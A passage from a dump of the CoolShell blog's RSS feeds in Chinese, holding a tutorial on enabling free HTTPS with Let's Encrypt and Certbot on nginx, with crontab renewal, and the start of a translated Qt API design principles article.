crossorigin=\"anonymous\"></script>点击图片看大图</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1179\" title=\"Internet 技术演变图 (点击看大图)\" src=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet-300x248.jpg\" alt=\"Internet 技术演变图 (点击看大图)\" width=\"300\" height=\"248\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet.jpg\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/373.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"RFC1 40岁生日\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/373.html\" class=\"wp_rp_title\">RFC1 40岁生日</a></li><li ><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/snake-150x150.jpg\" alt=\"某Python实现的尾部递归\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_title\">某Python实现的尾部递归</a></li><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/12192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C/C++返回内部静态成员的陷阱\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12192.html\" class=\"wp_rp_title\">C/C++返回内部静态成员的陷阱</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1178.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-4.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 4 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=4\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sat, 26 Dec 2020 08:20:49 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>如何免费的让网站启用HTTPS</title>\n\t\t<link>https://coolshell.cn/articles/18094.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18094.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 26 Aug 2017 06:06:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<category><![CDATA[HTTPS]]></category>\n\t\t<category><![CDATA[SSL]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18094</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18094.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full\" src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner.png\" alt=\"\" width=\"700\" height=\"220\" />今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。</p>\n<p>我用的是 <a href=\"https://letsencrypt.org\" target=\"_blank\" rel=\"noopener noreferrer\">Let&#8217;s Encrypt</a>这个免费的解决方案。Let&#8217;s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由<a href=\"https://letsencrypt.org/isrg/\" target=\"_blank\" rel=\"noopener noreferrer\">互联网安全研究小组</a>（ISRG &#8211; Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括<a title=\"电子前哨基金会\" href=\"https://www.eff.org\" target=\"_blank\" rel=\"noopener noreferrer\">电子前哨基金会</a>，<a class=\"mw-redirect\" title=\"Mozilla基金会\" href=\"https://www.mozilla.org/foundation/\" target=\"_blank\" rel=\"noopener noreferrer\">Mozilla基金会</a>，<a title=\"Akamai\" href=\"https://www.akamai.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Akamai</a>以及Cisco等公司（<a href=\"https://letsencrypt.org/sponsors/\" target=\"_blank\" rel=\"noopener noreferrer\">赞助商列表</a>）。<sup id=\"cite_ref-3\" class=\"reference\"></sup></p>\n<p>2015年6月，Let&#8217;s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let&#8217;s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。</p>\n<p><span id=\"more-18094\"></span></p>\n<p>以上介绍文字来自 Wikipedia 的 <a href=\"https://zh.wikipedia.org/wiki/Let%27s_Encrypt\" target=\"_blank\" rel=\"noopener noreferrer\">Let&#8217;s Encrypt 词条</a>。</p>\n<p>为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 <a href=\"https://certbot.eff.org\" target=\"_blank\" rel=\"noopener noreferrer\">Certbot</a>，就可以完成。</p>\n<p style=\"padding-left: 30px;\">1）首先，打开 <a href=\"https://certbot.eff.org\" target=\"_blank\" rel=\"noopener noreferrer\">https://certbot.eff.org</a> 网页。</p>\n<p style=\"padding-left: 30px;\">2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，<code>nginx</code> 和 <code>Ubuntu 14.04</code></p>\n<p style=\"padding-left: 30px;\">3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。</p>\n<p>以Coolshell.cn为例 &#8211; Nginx + Ubuntu</p>\n<p>首先先安装相应的环境：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo apt-get update\n$ sudo apt-get install software-properties-common\n$ sudo add-apt-repository ppa:certbot/certbot\n$ sudo apt-get update\n$ sudo apt-get install python-certbot-nginx\n</pre>\n<p>然后，运行如下命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ sudo certbot --nginx\n</pre>\n<p><code>certbot</code> 会自动检查到你的 <code>nginx.conf</code> 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 <code>nginx.conf</code> 了。</p>\n<p>你打开你的 <code>nginx.conf</code> 文件 ，你可以发现你的文件中的 <code>server</code> 配置中可能被做了如下的修改：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">listen 443 ssl; # managed by Certbot\nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot\nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot\ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>\n<p>和</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> # Redirect non-https traffic to https\nif ($scheme != &quot;https&quot;) {\n  return 301 https://$host$request_uri;\n} # managed by Certbot</pre>\n<p>&nbsp;</p>\n<p>这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（<a href=\"http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/\" target=\"_blank\" rel=\"noopener noreferrer\">关于性能你可以看一下这篇文章</a>）。需要开启HTTP/2其实很简单，只需要在 <code>nginx.conf</code> 的 <code>listen 443 ssl;</code> 后面加上 <code>http2</code> 就好了。如下所示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">listen 443 ssl http2; # managed by Certbot \nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot \nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot \ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>\n<p>然后，就 <code>nginx -s reload</code> 就好了。</p>\n<p>但是，<strong>Let&#8217;s Encrypt 的证书90天就过期了</strong>，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 <code>crontab</code> 了。使用 <code>crontab -e</code> 命令加入如下的定时作业（每个月都强制更新一下）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">0 0 1 * * /usr/bin/certbot renew --force-renewal\n5 0 1 * * /usr/sbin/service nginx restart</pre>\n<p>当然，你也可以每天凌晨1点检查一下：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">0 1 * * * certbot renew </code></p>\n<p>注：crontab 中有六个字段，其含义如下：</p>\n<ul>\n<li>第1个字段：分钟 (0-59)</li>\n<li>第2个字段：小时 (0-23)</li>\n<li>第3个字段：日期 (1-31)</li>\n<li>第4个字段：月份 (1-12 [12 代表 December])</li>\n<li>第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])</li>\n<li>/path/to/command &#8211; 计划执行的脚本或命令的名称</li>\n</ul>\n<p><strong>这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……</strong></p>\n<p>当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。</p>\n<p><strong>启用HTTPS后，你的网页中的所有的使用 <code>http://</code> 的方式的地方都要改成 <code>https://</code> 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉</strong>。所以，你还需要修改你的网页中那些 hard code <code>http://</code> 的地方。</p>\n<p>对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。</p>\n<p style=\"padding-left: 30px;\">1）首先是 wordpress的 常规设置中的 “<strong>WordPress 地址</strong>” 和 “<strong>站点地址</strong>” 需要变更为 https 的方式。</p>\n<p style=\"padding-left: 30px;\">2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “<a href=\"https://wordpress.org/plugins/search-regex/\" target=\"_blank\" rel=\"noopener noreferrer\">Search Regex</a>” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 <code>http://coolshell.cn</code> 替换成了 <code>https://coolshell.cn</code></p>\n<p style=\"padding-left: 30px;\">3）如果你像我一样启用了文章缓存（我用的是<a href=\"https://wordpress.org/plugins/wp-super-cache/\" target=\"_blank\" rel=\"noopener noreferrer\">WP-SuperCache</a>插件），你还要去设置一下 “<strong>CDN</strong>” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。</p>\n<p>基本上就是这些事。希望大家都来把自己的网站更新成 https 的。</p>\n<p>嗯，12306，你什么时候按照这个教程做一下你的证书？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" alt=\"Web工程师的工具箱\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_title\">Web工程师的工具箱</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18094.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>91</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>API设计原则 &#8211; Qt官网的设计实践总结</title>\n\t\t<link>https://coolshell.cn/articles/18024.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18024.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[李 鼎]]></dc:creator>\n\t\t<pubDate>Tue, 25 Jul 2017 06:16:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[API]]></category>\n\t\t<category><![CDATA[api-design]]></category>\n\t\t<category><![CDATA[API设计]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[qt]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=18024</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢好友 @李鼎 翻译此文） 原文链接：API Design Principles &#8211; Qt Wiki 基于Gary的影响力上 Gary Gao ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18024.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span style=\"color: #993300;\"><strong>（感谢好友 <a href=\"http://www.weibo.com/oldratlee\" target=\"_blank\"  rel=\"noopener noreferrer\">@李鼎</a> 翻译此文）</strong></span></p>\n<p>原文链接：<a href=\"http://qt-project.org/wiki/API-Design-Principles\">API Design Principles</a> &#8211; <a href=\"http://wiki.qt.io/\">Qt Wiki</a><br />\n基于<a href=\"http://blog.csdn.net/gaoyingju\">Gary的影响力</a>上 <em>Gary Gao</em> 的译文稿：<a href=\"http://blog.csdn.net/gaoyingju/article/details/8245108\">C++的API设计指导</a></p>\n<h2>译序</h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278.jpg\" alt=\"\" width=\"300\" height=\"278\" /></p>\n<p>Qt的设计水准在业界很有口碑，一致、易于掌握和强大的API是Qt最著名的优点之一。此文既是Qt官网上的API设计指导准则，也是Qt在API设计上的实践总结。虽然Qt用的是C++，但其中设计原则和思考是具有普适性的（如果你对C++还不精通，可以忽略与C++强相关或是过于细节的部分，仍然可以学习或梳理关于API设计最有价值的内容）。整个篇幅中有很多示例，是关于API设计一篇难得的好文章。</p>\n<p>需要注意的是，这篇Wiki有一些内容并不完整，所以，可能会有一些阅读上的问题，我们对此做了一些相关的注释。</p>\n<p>PS：翻译中肯定会有不足和不对之处，欢迎评论&amp;交流；另译文源码在<a href=\"https://github.com/oldratlee/translations/tree/master/api-design-principles-from-qt\">GitHub的这个仓库</a>中，可以<a href=\"https://github.com/oldratlee/translations/issues\">提交Issue</a>/<a href=\"https://github.com/oldratlee/translations/fork\">Fork后提交代码</a>来建议/指正。</p>\n<h1>API设计原则</h1>\n<p>一致、易于掌握和强大的API是Qt最著名的优点之一。此文总结了我们在设计Qt风格API的过程中所积累的诀窍（know-how）。其中许多是通用准则；而其他的则更偏向于约定，遵循这些约定主要是为了与已有的API保持一致。</p>\n<p>虽然这些准则主要用于对外的API（public API），但在设计对内的API（private API）时也推荐遵循相同的技巧（techniques），作为开发者之间协作的礼仪（courtesy）。</p>\n<p><span id=\"more-18024\"></span></p>\n<p>如有兴趣也可以读一下 <em>Jasmin Blanchette</em> 的<a href=\"http://www4.in.tum.de/~blanchet/api-design.pdf\">Little Manual of API Design (PDF)</a> 或是本文的前身 <em>Matthias Ettrich</em> 的<a href=\"https://doc.qt.io/archives/qq/qq13-apis.html\">Designing Qt-Style C++ APIs</a>。</p>\n<h1>1. 好API的6个特质</h1>\n<p>API之于程序员就如同图形界面之于普通用户（end-user）。API中的『P』实际上指的是『程序员』（Programmer），而不是『程序』（Program），强调的是API是给程序员使用的这一事实。</p>\n<p>在第13期<a href=\"http://doc.qt.io/archives/qq/\">Qt季刊</a>，<em>Matthias</em> 的<a href=\"https://doc.qt.io/archives/qq/qq13-apis.html\">关于API设计的文章</a>中提出了观点：API应该极简（minimal）且完备（complete）、语义清晰简单（have clear and simple semantics）、符合直觉（be intuitive）、易于记忆（be easy to memorize）和引导API使用者写出可读代码（lead to readable code）。</p>\n<h2>1.1 极简</h2>\n<p>极简的API是指每个class的public成员尽可能少，public的class也尽可能少。这样的API更易理解、记忆、调试和变更。</p>\n<h2>1.2 完备</h2>\n<p>完备的API是指期望有的功能都包含了。这点会和保持API极简有些冲突。如果一个成员函数放在错误的类中，那么这个函数的潜在用户就会找不到，这也是违反完备性的。</p>\n<h2>1.3 语义清晰简单</h2>\n<p>就像其他的设计一样，我们应该遵守最少意外原则（the principle of least surprise）。好的API应该可以让常见的事完成的更简单，并有可以完成不常见的事的可能性，但是却不会关注于那些不常见的事。解决的是具体问题；当没有需求时不要过度通用化解决方案。（举个例子，在Qt 3中，<code>QMimeSourceFactory</code>不应命名成<code>QImageLoader</code>并有不一样的API。）</p>\n<h2>1.4 符合直觉</h2>\n<p>就像计算机里的其他事物一样，API应该符合直觉。对于什么是符合直觉的什么不符合，不同经验和背景的人会有不同的看法。API符合直觉的测试方法：经验不很丰富的用户不用阅读API文档就能搞懂API，而且程序员不用了解API就能看明白使用API的代码。</p>\n<h2>1.5 易于记忆</h2>\n<p>为使API易于记忆，API的命名约定应该具有一致性和精确性。使用易于识别的模式和概念，并且避免用缩写。</p>\n<h2>1.6 引导API使用者写出可读代码</h2>\n<p>代码只写一次，却要多次的阅读（还有调试和修改）。写出可读性好的代码有时候要花费更多的时间，但对于产品的整个生命周期来说是节省了时间的。</p>\n<p>最后，要记住的是，不同的用户会使用API的不同部分。尽管简单使用单个Qt类的实例应该符合直觉，但如果是要继承一个类，让用户事先看好文档是个合理的要求。</p>\n<h1>2. 静态多态</h1>\n<p>相似的类应该有相似的API。在继承（inheritance）合适时可以用继承达到这个效果，即运行时多态。然而多态也发生在设计阶段。例如，如果你用<code>QProgressBar</code>替换<code>QSlider</code>，或是用<code>QString</code>替换<code>QByteArray</code>，你会发现API的相似性使的替换很容易。这即是所谓的『静态多态』（static polymorphism）。</p>\n<p>静态多态也使记忆API和编程模式更加容易。因此，一组相关的类有相似的API有时候比每个类都有各自的一套API更好。</p>\n<p>一般来说，在Qt中，如果没有足够的理由要使用继承，我们更倾向于用静态多态。这样可以减少Qt public类的个数，也使刚学习Qt的用户在翻看文档时更有方向感。</p>\n<h2>2.1 好的案例</h2>\n<p><code>QDialogButtonBox</code>与<code>QMessageBox</code>，在处理按钮（<code>addButton()</code>、<code>setStandardButtons()</code>等等）上有相似的API，不需要继承某个<code>QAbstractButtonBox</code>类。</p>\n<h2>2.2 差的案例</h2>\n<p><code>QTcpSocket</code>与<code>QUdpSocket</code>都继承了<code>QAbstractSocket</code>，这两个类的交互行为的模式（mode of interaction）非常不同。似乎没有什么人以通用和有意义的方式用过<code>QAbstractSocket</code>指针（或者 <strong><em>能</em></strong> 以通用和有意义的方式使用<code>QAbstractSocket</code>指针）。</p>\n<h2>2.3 值得斟酌的案例</h2>\n<p><code>QBoxLayout</code>是<code>QHBoxLayout</code>与<code>QVBoxLayout</code>的父类。好处：可以在工具栏上使用<code>QBoxLayout</code>，调用<code>setOrientation()</code>使其变为水平/垂直。坏处：要多一个类，并且有可能导致用户写出这样没什么意义的代码，<code>((QBoxLayout *)hbox)-&gt;setOrientation(Qt::Vertical)</code>。</p>\n<h1>3. 基于属性的API</h1>\n<p>新的Qt类倾向于用『基于属性（property）的API』，例如：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQTimer timer;<br />\ntimer.setInterval(1000);<br />\ntimer.setSingleShot(true);<br />\ntimer.start();<br />\n[/code]</p>\n<p>这里的 <strong><em>属性</em></strong> 是指任何的概念特征（conceptual attribute），是对象状态的一部分 —— 无论它是不是<code>Q_PROPERTY</code>。在说得通的情况下，用户应该可以以任何顺序设置属性，也就是说，属性之间应该是正交的（orthogonal）。例如，上面的代码可以写成：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQTimer timer;<br />\ntimer.setSingleShot(true);<br />\ntimer.setInterval(1000);<br />\ntimer.start();<br />\n[/code]</p>\n<blockquote><p>【译注】：正交性是指改变某个特性而不会影响到其他的特性。<a href=\"https://book.douban.com/subject/5387402/\">《程序员修炼之道》</a>中讲了关于正交性的一个直升飞机坠毁的例子，讲得深入浅出很有画面感。</p></blockquote>\n<p>为了方便，也写成：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\ntimer.start(1000)；<br />\n[/code]</p>\n<p>类似地，对于<code>QRegExp</code>会是这样的代码：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\nQRegExp regExp;<br />\nregExp.setCaseSensitive(Qt::CaseInsensitive);<br />\nregExp.setPattern(&quot;.&quot;);<br />\nregExp.setPatternSyntax(Qt::WildcardSyntax);<br />\n[/code]</p>\n<p>为实现这种类型的API，需要借助底层对象的懒创建。例如，对于<code>QRegExp</code>的例子，在不知道模式语法（pattern syntax）的情况下，在<code>setPattern()</code>中去解释<code>\".\"</code>就为时过早了。</p>\n<p>属性之间常常有关联的；在这种情况下，我们必须小心处理。思考下面的问题：当前的风格（style）提供了『默认的图标尺寸』属性 vs. <code>QToolButton</code>的『<code>iconSize</code>』属性：</p>\n<p>[code language=&#8221;cpp&#8221;]<br />\ntoolButton-&gt;setStyle(otherStyle);<br />\ntoolButton-&gt;iconSize();    // returns the default for otherStyle<br />\ntoolButton-&gt;setIconSize(QSize(52, 52));<br />\ntoolButton-&gt;iconSize();    // returns (52, 52)<br />\ntoolButton-&gt;setStyle(yetAnotherStyle);<br />\ntoolButton-&gt;iconSize();    // returns (52, 52)<br />\n[/code]</p>\n<p>提醒一下，一旦设置了<code>iconSize</code>，设置就会一直保持，即使改变当前的风格。这 <strong><em>很好</em></strong>。但有的时候需要能重置属性。有两种方法：</p>\n<ol>\n<li>传入一个特殊值（如<code>QSize()</code>、<code>-1</code>或者<code>Qt::Alignment(0)</code>）来表示『重置』</li>\n<li>提供一个明确的重置方法，如<code>resetFoo()</code>和<code>unsetFoo()</code></li>\n</ol>\n<p>对于<code>iconSize</code>，使用<code>QSize()</code>（比如 <code>QSize(–1, 